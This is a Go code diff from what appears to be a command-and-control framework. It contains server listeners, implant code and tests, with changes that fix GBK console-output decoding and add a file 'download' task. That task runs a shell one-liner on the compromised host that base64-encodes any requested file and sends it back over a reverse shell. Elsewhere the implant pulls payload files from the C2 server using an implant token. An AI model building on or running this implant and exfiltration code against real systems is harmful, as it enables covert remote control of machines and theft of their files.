osTag = strings.ToLower(strings.TrimSpace(osTag))
|
||||||
|
isWindows := strings.Contains(osTag, "windows")
|
||||||
|
|
||||||
|
if utf8.Valid(raw) {
|
||||||
|
return string(raw)
|
||||||
|
}
|
||||||
|
if isWindows {
|
||||||
|
if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
|
||||||
|
return string(out)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 非 Windows 或解码失败:GB18030 兜底(覆盖 GBK)
|
||||||
|
if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
|
||||||
|
return string(out)
|
||||||
|
}
|
||||||
|
return string(raw)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResolveTaskResultText 合并 beacon 回传的 Output/OutputB64(及 Error/ErrorB64),按会话 OS 解码。
|
||||||
|
func ResolveTaskResultText(plain, b64, sessionOS string) string {
|
||||||
|
if strings.TrimSpace(b64) != "" {
|
||||||
|
raw, err := base64.StdEncoding.DecodeString(strings.TrimSpace(b64))
|
||||||
|
if err == nil {
|
||||||
|
return NormalizeConsoleOutput(raw, sessionOS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if plain == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return NormalizeConsoleOutput([]byte(plain), sessionOS)
|
||||||
|
}
|
||||||
@@ -0,0 +1,51 @@
|
|||||||
|
package c2
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/base64"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"golang.org/x/text/encoding/simplifiedchinese"
|
||||||
|
"golang.org/x/text/transform"
|
||||||
|
)
|
||||||
|
|
||||||
|
func mustGBK(t *testing.T, s string) []byte {
|
||||||
|
t.Helper()
|
||||||
|
out, _, err := transform.Bytes(simplifiedchinese.GBK.NewEncoder(), []byte(s))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNormalizeConsoleOutput_WindowsGBK(t *testing.T) {
|
||||||
|
raw := mustGBK(t, "中文测试")
|
||||||
|
got := NormalizeConsoleOutput(raw, "windows")
|
||||||
|
if got != "中文测试" {
|
||||||
|
t.Fatalf("got %q want 中文测试", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNormalizeConsoleOutput_UTF8Passthrough(t *testing.T) {
|
||||||
|
raw := []byte("hello 世界")
|
||||||
|
got := NormalizeConsoleOutput(raw, "linux")
|
||||||
|
if got != "hello 世界" {
|
||||||
|
t.Fatalf("got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveTaskResultText_PrefersB64(t *testing.T) {
|
||||||
|
raw := mustGBK(t, "采购订单")
|
||||||
|
b64 := base64.StdEncoding.EncodeToString(raw)
|
||||||
|
got := ResolveTaskResultText("", b64, "windows")
|
||||||
|
if got != "采购订单" {
|
||||||
|
t.Fatalf("got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveTaskResultText_PlainFallback(t *testing.T) {
|
||||||
|
raw := mustGBK(t, "测试")
|
||||||
|
got := ResolveTaskResultText(string(raw), "", "windows")
|
||||||
|
if got != "测试" {
|
||||||
|
t.Fatalf("got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -367,6 +367,7 @@ func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Requ
|
|||||||
}
|
}
|
||||||
prefix := l.cfg.BeaconFilePath
|
prefix := l.cfg.BeaconFilePath
|
||||||
taskID := strings.TrimPrefix(r.URL.Path, prefix)
|
taskID := strings.TrimPrefix(r.URL.Path, prefix)
|
||||||
|
taskID = strings.TrimSuffix(taskID, ".bin")
|
||||||
if taskID == "" || strings.Contains(taskID, "/") || strings.Contains(taskID, "\\") || strings.Contains(taskID, "..") {
|
if taskID == "" || strings.Contains(taskID, "/") || strings.Contains(taskID, "\\") || strings.Contains(taskID, "..") {
|
||||||
l.disguisedReject(w)
|
l.disguisedReject(w)
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -2,10 +2,12 @@ package c2
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
|
"encoding/base64"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"io"
|
"io"
|
||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
@@ -127,3 +129,101 @@ func TestHTTPBeaconListener_CheckInMatrix(t *testing.T) {
|
|||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestHTTPBeaconListener_HandleFileServe(t *testing.T) {
|
||||||
|
tmp := t.TempDir()
|
||||||
|
dbPath := filepath.Join(tmp, "c2.sqlite")
|
||||||
|
db, err := database.NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = db.Close() })
|
||||||
|
|
||||||
|
lnPick, err := net.Listen("tcp", "127.0.0.1:0")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
port := lnPick.Addr().(*net.TCPAddr).Port
|
||||||
|
_ = lnPick.Close()
|
||||||
|
|
||||||
|
keyB64, err := GenerateAESKey()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
token := "test-implant-token-file"
|
||||||
|
|
||||||
|
lid := "l_testhttpfile01"
|
||||||
|
rec := &database.C2Listener{
|
||||||
|
ID: lid,
|
||||||
|
Name: "t",
|
||||||
|
Type: string(ListenerTypeHTTPBeacon),
|
||||||
|
BindHost: "127.0.0.1",
|
||||||
|
BindPort: port,
|
||||||
|
EncryptionKey: keyB64,
|
||||||
|
ImplantToken: token,
|
||||||
|
Status: "stopped",
|
||||||
|
ConfigJSON: `{"beacon_file_path":"/file/"}`,
|
||||||
|
CreatedAt: time.Now(),
|
||||||
|
}
|
||||||
|
if err := db.CreateC2Listener(rec); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
store := filepath.Join(tmp, "c2store")
|
||||||
|
m := NewManager(db, zap.NewNop(), store)
|
||||||
|
m.Registry().Register(string(ListenerTypeHTTPBeacon), NewHTTPBeaconListener)
|
||||||
|
if _, err := m.StartListener(lid); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = m.StopListener(lid) })
|
||||||
|
|
||||||
|
fileID := "f_testfile123"
|
||||||
|
downDir := filepath.Join(store, "downstream")
|
||||||
|
if err := os.MkdirAll(downDir, 0o755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
want := []byte("upload-payload-bytes")
|
||||||
|
if err := os.WriteFile(filepath.Join(downDir, fileID+".bin"), want, 0o644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
base := "http://127.0.0.1:" + strconv.Itoa(port)
|
||||||
|
client := &http.Client{Timeout: 5 * time.Second}
|
||||||
|
|
||||||
|
for _, path := range []string{"/file/" + fileID, "/file/" + fileID + ".bin"} {
|
||||||
|
t.Run(path, func(t *testing.T) {
|
||||||
|
req, _ := http.NewRequest(http.MethodGet, base+path, nil)
|
||||||
|
req.Header.Set("X-Implant-Token", token)
|
||||||
|
resp, err := client.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
b, _ := io.ReadAll(resp.Body)
|
||||||
|
t.Fatalf("status=%d body=%q", resp.StatusCode, b)
|
||||||
|
}
|
||||||
|
raw, err := io.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
plain, err := DecryptAESGCM(keyB64, string(raw))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
var out struct {
|
||||||
|
FileData string `json:"file_data"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(plain, &out); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
got, err := base64.StdEncoding.DecodeString(out.FileData)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if !bytes.Equal(got, want) {
|
||||||
|
t.Fatalf("got %q want %q", got, want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -298,6 +298,12 @@ func (l *TCPReverseListener) runTaskOnConn(c *tcpReverseConn, env TaskEnvelope)
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
cleaned := cleanShellOutput(output, cmd)
|
cleaned := cleanShellOutput(output, cmd)
|
||||||
|
if TaskType(env.TaskType) == TaskTypeDownload {
|
||||||
|
if errMsg := detectDownloadShellError(cleaned); errMsg != "" {
|
||||||
|
l.reportTaskResult(env.TaskID, startedAt, false, cleaned, errMsg, "", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "")
|
l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "")
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -316,8 +322,8 @@ func (l *TCPReverseListener) reportTaskResult(taskID string, startedAtMS int64,
|
|||||||
}
|
}
|
||||||
|
|
||||||
// buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。
|
// buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。
|
||||||
// 仅支持 TCP 反弹模式可直接执行的最简任务类型;upload/download/screenshot 这些
|
// 仅支持 TCP 反弹模式可直接执行的最简任务类型;download 通过 base64 输出文本结果,
|
||||||
// 需要二进制传输的能力建议使用 http_beacon。
|
// upload/screenshot 等需要二进制传输的能力建议使用 http_beacon。
|
||||||
func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) {
|
func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) {
|
||||||
switch t {
|
switch t {
|
||||||
case TaskTypeExec, TaskTypeShell:
|
case TaskTypeExec, TaskTypeShell:
|
||||||
@@ -345,6 +351,16 @@ func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool)
|
|||||||
return "", false
|
return "", false
|
||||||
}
|
}
|
||||||
return "cd " + shellQuote(path) + " && pwd", true
|
return "cd " + shellQuote(path) + " && pwd", true
|
||||||
|
case TaskTypeDownload:
|
||||||
|
path, _ := payload["remote_path"].(string)
|
||||||
|
if strings.TrimSpace(path) == "" {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
q := shellQuote(path)
|
||||||
|
return fmt.Sprintf(
|
||||||
|
`f=%s; if [ ! -e "$f" ]; then echo 'C2_DOWNLOAD_ERR: no such file or directory' >&2; exit 1; elif [ -d "$f" ]; then echo 'C2_DOWNLOAD_ERR: is a directory' >&2; exit 1; elif [ ! -r "$f" ]; then echo 'C2_DOWNLOAD_ERR: permission denied' >&2; exit 1; else base64 "$f" 2>/dev/null || base64 < "$f"; fi`,
|
||||||
|
q,
|
||||||
|
), true
|
||||||
case TaskTypeExit:
|
case TaskTypeExit:
|
||||||
return "exit 0", true
|
return "exit 0", true
|
||||||
}
|
}
|
||||||
@@ -382,6 +398,29 @@ func shellQuote(s string) string {
|
|||||||
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
|
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// detectDownloadShellError 识别 download 任务中 shell/base64 返回的错误信息。
|
||||||
|
func detectDownloadShellError(output string) string {
|
||||||
|
trimmed := strings.TrimSpace(output)
|
||||||
|
if trimmed == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
lower := strings.ToLower(trimmed)
|
||||||
|
markers := []string{
|
||||||
|
"c2_download_err:",
|
||||||
|
"no such file",
|
||||||
|
"permission denied",
|
||||||
|
"is a directory",
|
||||||
|
"cannot open",
|
||||||
|
"not a regular file",
|
||||||
|
}
|
||||||
|
for _, m := range markers {
|
||||||
|
if strings.Contains(lower, m) {
|
||||||
|
return trimmed
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
func isAddrInUse(err error) bool {
|
func isAddrInUse(err error) bool {
|
||||||
if err == nil {
|
if err == nil {
|
||||||
return false
|
return false
|
||||||
|
|||||||
@@ -0,0 +1,43 @@
|
|||||||
|
package c2
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestDetectDownloadShellError(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
output string
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{name: "empty ok", output: "", want: ""},
|
||||||
|
{name: "base64 ok", output: "aGVsbG8=", want: ""},
|
||||||
|
{name: "marker", output: "C2_DOWNLOAD_ERR: no such file or directory", want: "C2_DOWNLOAD_ERR: no such file or directory"},
|
||||||
|
{name: "bash missing file", output: "bash: ../0: No such file or directory", want: "bash: ../0: No such file or directory"},
|
||||||
|
{name: "permission denied", output: "C2_DOWNLOAD_ERR: permission denied", want: "C2_DOWNLOAD_ERR: permission denied"},
|
||||||
|
}
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
got := detectDownloadShellError(tt.output)
|
||||||
|
if got != tt.want {
|
||||||
|
t.Fatalf("detectDownloadShellError(%q) = %q, want %q", tt.output, got, tt.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildTCPCommandDownload(t *testing.T) {
|
||||||
|
cmd, ok := buildTCPCommand(TaskTypeDownload, map[string]interface{}{
|
||||||
|
"remote_path": "/tmp/demo.txt",
|
||||||
|
})
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("expected download command to be supported")
|
||||||
|
}
|
||||||
|
if want := "f='/tmp/demo.txt'"; !strings.Contains(cmd, want) {
|
||||||
|
t.Fatalf("command %q should contain %q", cmd, want)
|
||||||
|
}
|
||||||
|
if !strings.Contains(cmd, "C2_DOWNLOAD_ERR") {
|
||||||
|
t.Fatalf("command should validate file before base64: %q", cmd)
|
||||||
|
}
|
||||||
|
}
|
||||||
+12
-4
@@ -638,10 +638,18 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
|
|||||||
status = string(TaskFailed)
|
status = string(TaskFailed)
|
||||||
}
|
}
|
||||||
duration := endedAt.Sub(startedAt).Milliseconds()
|
duration := endedAt.Sub(startedAt).Milliseconds()
|
||||||
|
|
||||||
|
sessionOS := ""
|
||||||
|
if sess, serr := m.db.GetC2Session(t.SessionID); serr == nil && sess != nil {
|
||||||
|
sessionOS = sess.OS
|
||||||
|
}
|
||||||
|
resultText := ResolveTaskResultText(report.Output, report.OutputB64, sessionOS)
|
||||||
|
errText := ResolveTaskResultText(report.Error, report.ErrorB64, sessionOS)
|
||||||
|
|
||||||
upd := database.C2TaskUpdate{
|
upd := database.C2TaskUpdate{
|
||||||
Status: &status,
|
Status: &status,
|
||||||
ResultText: &report.Output,
|
ResultText: &resultText,
|
||||||
Error: &report.Error,
|
Error: &errText,
|
||||||
StartedAt: &startedAt,
|
StartedAt: &startedAt,
|
||||||
CompletedAt: &endedAt,
|
CompletedAt: &endedAt,
|
||||||
DurationMS: &duration,
|
DurationMS: &duration,
|
||||||
@@ -661,8 +669,8 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
t.Status = status
|
t.Status = status
|
||||||
t.ResultText = report.Output
|
t.ResultText = resultText
|
||||||
t.Error = report.Error
|
t.Error = errText
|
||||||
|
|
||||||
level := "info"
|
level := "info"
|
||||||
msg := fmt.Sprintf("任务完成: %s", t.TaskType)
|
msg := fmt.Sprintf("任务完成: %s", t.TaskType)
|
||||||
|
|||||||
@@ -45,6 +45,7 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
"unicode/utf8"
|
||||||
)
|
)
|
||||||
|
|
||||||
// 编译期注入常量(text/template 替换)
|
// 编译期注入常量(text/template 替换)
|
||||||
@@ -101,7 +102,9 @@ type TaskReport struct {
|
|||||||
TaskID string `json:"task_id"`
|
TaskID string `json:"task_id"`
|
||||||
Success bool `json:"success"`
|
Success bool `json:"success"`
|
||||||
Output string `json:"output,omitempty"`
|
Output string `json:"output,omitempty"`
|
||||||
|
OutputB64 string `json:"output_b64,omitempty"`
|
||||||
Error string `json:"error,omitempty"`
|
Error string `json:"error,omitempty"`
|
||||||
|
ErrorB64 string `json:"error_b64,omitempty"`
|
||||||
BlobBase64 string `json:"blob_b64,omitempty"`
|
BlobBase64 string `json:"blob_b64,omitempty"`
|
||||||
BlobSuffix string `json:"blob_suffix,omitempty"`
|
BlobSuffix string `json:"blob_suffix,omitempty"`
|
||||||
StartedAt int64 `json:"started_at"`
|
StartedAt int64 `json:"started_at"`
|
||||||
@@ -326,16 +329,7 @@ func handleTaskSyncTCP(conn net.Conn, env TaskEnv) {
|
|||||||
defer func() { tcpTaskConn = nil }()
|
defer func() { tcpTaskConn = nil }()
|
||||||
start := time.Now()
|
start := time.Now()
|
||||||
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
|
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
|
||||||
report := TaskReport{
|
report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
|
||||||
TaskID: env.TaskID,
|
|
||||||
Success: errMsg == "",
|
|
||||||
Output: output,
|
|
||||||
Error: errMsg,
|
|
||||||
BlobBase64: blobB64,
|
|
||||||
BlobSuffix: blobSuffix,
|
|
||||||
StartedAt: start.UnixMilli(),
|
|
||||||
EndedAt: time.Now().UnixMilli(),
|
|
||||||
}
|
|
||||||
tcpReportResult(conn, report)
|
tcpReportResult(conn, report)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -367,7 +361,8 @@ func fetchC2FileByID(fileID string) ([]byte, error) {
|
|||||||
if tcpTaskConn != nil {
|
if tcpTaskConn != nil {
|
||||||
return tcpFetchEncryptedFile(tcpTaskConn, fileID)
|
return tcpFetchEncryptedFile(tcpTaskConn, fileID)
|
||||||
}
|
}
|
||||||
url := fmt.Sprintf("%s%s%s.bin", serverURL, filePath, fileID)
|
// 服务端 handleFileServe 会在 downstream/<file_id>.bin 读取;URL 路径应为 /file/<file_id>,勿重复 .bin
|
||||||
|
url := fmt.Sprintf("%s%s%s", serverURL, filePath, fileID)
|
||||||
req, _ := http.NewRequest("GET", url, nil)
|
req, _ := http.NewRequest("GET", url, nil)
|
||||||
req.Header.Set("User-Agent", userAgent)
|
req.Header.Set("User-Agent", userAgent)
|
||||||
req.Header.Set("X-Implant-Token", implantToken)
|
req.Header.Set("X-Implant-Token", implantToken)
|
||||||
@@ -635,20 +630,39 @@ func decryptGCM(cipherText string) ([]byte, error) {
|
|||||||
return gcm.Open(nil, nonce, ct, nil)
|
return gcm.Open(nil, nonce, ct, nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func encodeReportText(s string) (plain, b64 string) {
|
||||||
|
if s == "" {
|
||||||
|
return "", ""
|
||||||
|
}
|
||||||
|
b := []byte(s)
|
||||||
|
if utf8.Valid(b) {
|
||||||
|
return s, ""
|
||||||
|
}
|
||||||
|
return "", base64.StdEncoding.EncodeToString(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildTaskReport(taskID, output, errMsg, blobB64, blobSuffix string, start, end time.Time) TaskReport {
|
||||||
|
outText, outB64 := encodeReportText(output)
|
||||||
|
errText, errB64 := encodeReportText(errMsg)
|
||||||
|
return TaskReport{
|
||||||
|
TaskID: taskID,
|
||||||
|
Success: errMsg == "",
|
||||||
|
Output: outText,
|
||||||
|
OutputB64: outB64,
|
||||||
|
Error: errText,
|
||||||
|
ErrorB64: errB64,
|
||||||
|
BlobBase64: blobB64,
|
||||||
|
BlobSuffix: blobSuffix,
|
||||||
|
StartedAt: start.UnixMilli(),
|
||||||
|
EndedAt: end.UnixMilli(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func handleTaskAsync(env TaskEnv) {
|
func handleTaskAsync(env TaskEnv) {
|
||||||
defer func() { _ = recover() }()
|
defer func() { _ = recover() }()
|
||||||
start := time.Now()
|
start := time.Now()
|
||||||
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
|
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
|
||||||
report := TaskReport{
|
report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
|
||||||
TaskID: env.TaskID,
|
|
||||||
Success: errMsg == "",
|
|
||||||
Output: output,
|
|
||||||
Error: errMsg,
|
|
||||||
BlobBase64: blobB64,
|
|
||||||
BlobSuffix: blobSuffix,
|
|
||||||
StartedAt: start.UnixMilli(),
|
|
||||||
EndedAt: time.Now().UnixMilli(),
|
|
||||||
}
|
|
||||||
reportResult(report)
|
reportResult(report)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -890,12 +904,26 @@ func taskKillProc(payload map[string]interface{}) (string, string, string, strin
|
|||||||
return "killed", "", "", ""
|
return "killed", "", "", ""
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func normalizeRemotePath(p string) string {
|
||||||
|
p = strings.TrimSpace(p)
|
||||||
|
if p == "" || runtime.GOOS != "windows" {
|
||||||
|
return p
|
||||||
|
}
|
||||||
|
// 控制台可能下发 /d:/path/file(Unix 风格),Windows 需转为 d:\path\file
|
||||||
|
p = strings.ReplaceAll(p, "\\", "/")
|
||||||
|
if len(p) >= 3 && p[0] == '/' && p[2] == ':' {
|
||||||
|
p = p[1:]
|
||||||
|
}
|
||||||
|
return filepath.FromSlash(p)
|
||||||
|
}
|
||||||
|
|
||||||
func taskUpload(payload map[string]interface{}) (string, string, string, string) {
|
func taskUpload(payload map[string]interface{}) (string, string, string, string) {
|
||||||
remotePath, _ := payload["remote_path"].(string)
|
remotePath, _ := payload["remote_path"].(string)
|
||||||
fileID, _ := payload["file_id"].(string)
|
fileID, _ := payload["file_id"].(string)
|
||||||
if remotePath == "" || fileID == "" {
|
if remotePath == "" || fileID == "" {
|
||||||
return "", "", "", "remote_path or file_id empty"
|
return "", "", "", "remote_path or file_id empty"
|
||||||
}
|
}
|
||||||
|
remotePath = normalizeRemotePath(remotePath)
|
||||||
data, err := fetchC2FileByID(fileID)
|
data, err := fetchC2FileByID(fileID)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", "", "", err.Error()
|
return "", "", "", err.Error()
|
||||||
|
|||||||
@@ -209,7 +209,9 @@ type TaskResultReport struct {
|
|||||||
TaskID string `json:"task_id"`
|
TaskID string `json:"task_id"`
|
||||||
Success bool `json:"success"`
|
Success bool `json:"success"`
|
||||||
Output string `json:"output,omitempty"`
|
Output string `json:"output,omitempty"`
|
||||||
|
OutputB64 string `json:"output_b64,omitempty"` // 原始控制台字节(base64),避免 JSON 破坏非 UTF-8 输出
|
||||||
Error string `json:"error,omitempty"`
|
Error string `json:"error,omitempty"`
|
||||||
|
ErrorB64 string `json:"error_b64,omitempty"`
|
||||||
BlobBase64 string `json:"blob_b64,omitempty"` // 如截图二进制
|
BlobBase64 string `json:"blob_b64,omitempty"` // 如截图二进制
|
||||||
BlobSuffix string `json:"blob_suffix,omitempty"` // 如 ".png"
|
BlobSuffix string `json:"blob_suffix,omitempty"` // 如 ".png"
|
||||||
StartedAt int64 `json:"started_at"`
|
StartedAt int64 `json:"started_at"`
|
||||||
|
|||||||
+29
-31
@@ -37,6 +37,7 @@ type Config struct {
|
|||||||
AgentsDir string `yaml:"agents_dir,omitempty" json:"agents_dir,omitempty"` // 多代理子 Agent Markdown 定义目录(*.md,YAML front matter)
|
AgentsDir string `yaml:"agents_dir,omitempty" json:"agents_dir,omitempty"` // 多代理子 Agent Markdown 定义目录(*.md,YAML front matter)
|
||||||
MultiAgent MultiAgentConfig `yaml:"multi_agent,omitempty" json:"multi_agent,omitempty"`
|
MultiAgent MultiAgentConfig `yaml:"multi_agent,omitempty" json:"multi_agent,omitempty"`
|
||||||
Project ProjectConfig `yaml:"project,omitempty" json:"project,omitempty"`
|
Project ProjectConfig `yaml:"project,omitempty" json:"project,omitempty"`
|
||||||
|
Vision VisionConfig `yaml:"vision,omitempty" json:"vision,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// ProjectConfig 项目黑板(跨对话共享事实)配置。
|
// ProjectConfig 项目黑板(跨对话共享事实)配置。
|
||||||
@@ -64,17 +65,19 @@ func (c ProjectConfig) FactSummaryMaxRunesEffective() int {
|
|||||||
return c.FactSummaryMaxRunes
|
return c.FactSummaryMaxRunes
|
||||||
}
|
}
|
||||||
|
|
||||||
// MultiAgentConfig 基于 CloudWeGo Eino adk/prebuilt 的多代理编排(deep | plan_execute | supervisor,与单 Agent /agent-loop 并存)。
|
// MultiAgentConfig 基于 CloudWeGo Eino adk/prebuilt 的多代理编排(deep | plan_execute | supervisor)。
|
||||||
type MultiAgentConfig struct {
|
type MultiAgentConfig struct {
|
||||||
Enabled bool `yaml:"enabled" json:"enabled"`
|
Enabled bool `yaml:"enabled" json:"enabled"`
|
||||||
RobotDefaultAgentMode string `yaml:"robot_default_agent_mode,omitempty" json:"robot_default_agent_mode,omitempty"` // react | eino_single | deep | plan_execute | supervisor
|
RobotDefaultAgentMode string `yaml:"robot_default_agent_mode,omitempty" json:"robot_default_agent_mode,omitempty"` // eino_single | deep | plan_execute | supervisor
|
||||||
BatchUseMultiAgent bool `yaml:"batch_use_multi_agent" json:"batch_use_multi_agent"` // 为 true 时批量任务队列中每子任务走 Eino 多代理
|
BatchUseMultiAgent bool `yaml:"batch_use_multi_agent" json:"batch_use_multi_agent"` // 为 true 时批量任务队列中每子任务走 Eino 多代理
|
||||||
// Orchestration 已弃用:保留仅兼容旧版 config.yaml;编排由聊天/WebShell 请求体 orchestration 决定,未传时按 deep。
|
// Orchestration 已弃用:保留仅兼容旧版 config.yaml;编排由聊天/WebShell 请求体 orchestration 决定,未传时按 deep。
|
||||||
Orchestration string `yaml:"orchestration,omitempty" json:"orchestration,omitempty"`
|
Orchestration string `yaml:"orchestration,omitempty" json:"orchestration,omitempty"`
|
||||||
MaxIteration int `yaml:"max_iteration" json:"max_iteration"` // 主代理 / 执行器最大推理轮次(Deep、Supervisor、plan_execute 的 Executor)
|
// MaxIteration 已废弃:统一使用 agent.max_iterations(YAML 中保留字段仅为兼容旧配置,运行时不读取)。
|
||||||
|
MaxIteration int `yaml:"max_iteration,omitempty" json:"max_iteration,omitempty"`
|
||||||
// PlanExecuteLoopMaxIterations plan_execute 模式下 execute↔replan 外层循环上限;0 表示用 Eino 默认 10。
|
// PlanExecuteLoopMaxIterations plan_execute 模式下 execute↔replan 外层循环上限;0 表示用 Eino 默认 10。
|
||||||
PlanExecuteLoopMaxIterations int `yaml:"plan_execute_loop_max_iterations,omitempty" json:"plan_execute_loop_max_iterations,omitempty"`
|
PlanExecuteLoopMaxIterations int `yaml:"plan_execute_loop_max_iterations,omitempty" json:"plan_execute_loop_max_iterations,omitempty"`
|
||||||
SubAgentMaxIterations int `yaml:"sub_agent_max_iterations" json:"sub_agent_max_iterations"`
|
// SubAgentMaxIterations 已废弃:子代理与主代理均使用 agent.max_iterations(Markdown max_iterations>0 可覆盖)。
|
||||||
|
SubAgentMaxIterations int `yaml:"sub_agent_max_iterations,omitempty" json:"sub_agent_max_iterations,omitempty"`
|
||||||
WithoutGeneralSubAgent bool `yaml:"without_general_sub_agent" json:"without_general_sub_agent"`
|
WithoutGeneralSubAgent bool `yaml:"without_general_sub_agent" json:"without_general_sub_agent"`
|
||||||
WithoutWriteTodos bool `yaml:"without_write_todos" json:"without_write_todos"`
|
WithoutWriteTodos bool `yaml:"without_write_todos" json:"without_write_todos"`
|
||||||
OrchestratorInstruction string `yaml:"orchestrator_instruction" json:"orchestrator_instruction"`
|
OrchestratorInstruction string `yaml:"orchestrator_instruction" json:"orchestrator_instruction"`
|
||||||
@@ -237,9 +240,8 @@ type MultiAgentEinoMiddlewareConfig struct {
|
|||||||
SummarizationTriggerRatio float64 `yaml:"summarization_trigger_ratio,omitempty" json:"summarization_trigger_ratio,omitempty"`
|
SummarizationTriggerRatio float64 `yaml:"summarization_trigger_ratio,omitempty" json:"summarization_trigger_ratio,omitempty"`
|
||||||
// SummarizationEmitInternalEvents controls middleware internal event emission (default true).
|
// SummarizationEmitInternalEvents controls middleware internal event emission (default true).
|
||||||
SummarizationEmitInternalEvents *bool `yaml:"summarization_emit_internal_events,omitempty" json:"summarization_emit_internal_events,omitempty"`
|
SummarizationEmitInternalEvents *bool `yaml:"summarization_emit_internal_events,omitempty" json:"summarization_emit_internal_events,omitempty"`
|
||||||
// HistoryInputBudgetRatio 已不影响 Eino:从 last_react 轨迹转 ADK 消息时**不再**按 token 比例裁剪(完整注入)。
|
// SummarizationRetryMaxAttempts is extra retries after the first summarization Generate attempt; 0 = default 3.
|
||||||
